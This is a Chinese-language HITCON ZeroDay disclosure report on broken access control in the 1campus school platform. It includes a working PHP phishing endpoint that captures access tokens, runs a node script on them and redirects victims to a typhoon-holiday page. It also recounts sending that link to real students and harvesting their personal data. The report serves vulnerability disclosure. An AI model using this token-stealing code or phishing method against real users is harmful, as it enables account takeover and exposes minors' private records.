1campus Broken Access Control - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01517
  •  發信 Vendor: 澔學學習股份有限公司
  • Title: 1campus Broken Access Control
  • Introduction: Broken Access Control

處理狀態

目前狀態

公開
Last Update : 2025/01/03
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2024/11/21 11:35:22 : 新提交 (由 xiulan 更新此狀態)
  • 2024/11/26 13:29:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/26 17:00:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/26 17:00:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/12/16 14:40:09 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2025/01/03 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01517
  • 通報者:xiulan (xiulan)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://usagestat-dev.1campus.net
https://developer.1campus.net/

敘述

1campus

漏洞挖掘

首先在
https://usagestat-dev.1campus.net 中有找到幾個我可以識別用途的api

開發者後台

https://developer.1campus.net/
圖片

嘗試以任意帳號登入
圖片

嘗試建立任意測試模組
圖片

測試人員可藉由信箱任意增加 不需要取得本人同意/驗證
圖片

結果
圖片

漏洞發現

在點進去的過程中 預設會把dsns, code, access_token也一起傳出去

exploit

php

<?php
if(isset($_GET['dsns']) && isset($_GET['code']) && isset($_GET['access_token'])) {
    $dsns = $_GET['dsns'];
    $code = $_GET['code'];
    $access_token = $_GET['access_token'];

    $url = "https://campus-lite.web.app/modules/core/profile?dsns=(dsns)&code=$code&access_token=$access_token&language=zh-TW&theme=cupcake";

    $e = escapeshellarg($url);
    $cmd = "nohup node run.js $e > /dev/null 2>&1 &";
    system($cmd);
    echo $cmd;
}

header('Location: https://www.dgpa.gov.tw/');

在php中偷走他給的資料 並且構建url 接著傳入run.js
然後轉址到颱風假的網站

至此 這個釣魚網站就已經完成了
接著我把它部屬上環境 並對全校投放這個釣魚連結
可以從上面提供的api中leak出全校學生的學號
還可以丟給全台灣有用1campus的學生 到處釣魚

放上去約兩天
圖片
有279個點擊數(可能有重複點擊的狀況)

從這次的攻擊可以取得受害者的
班級, 姓名, 學號, 導師, 電話, 住址, 雙親姓名電話

透過access_token 還可以做到使用內建的電子報表功能 取得家長代碼
並提權成該學生的家長 藉此存取更多資訊

而對教師端來說 雖然沒有辦法直接存取教師的服務
但是當再載入app端的1campus時
還是會一次把所有scope的module一次載入
示意圖
圖片
因此就算module以uuid區別 還是可以知道module的網址
而若實現這個腳本 那缺曠跟成績很有可能遭到入侵修改

修補建議

移除不必要的服務/後台
增加權限驗證

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;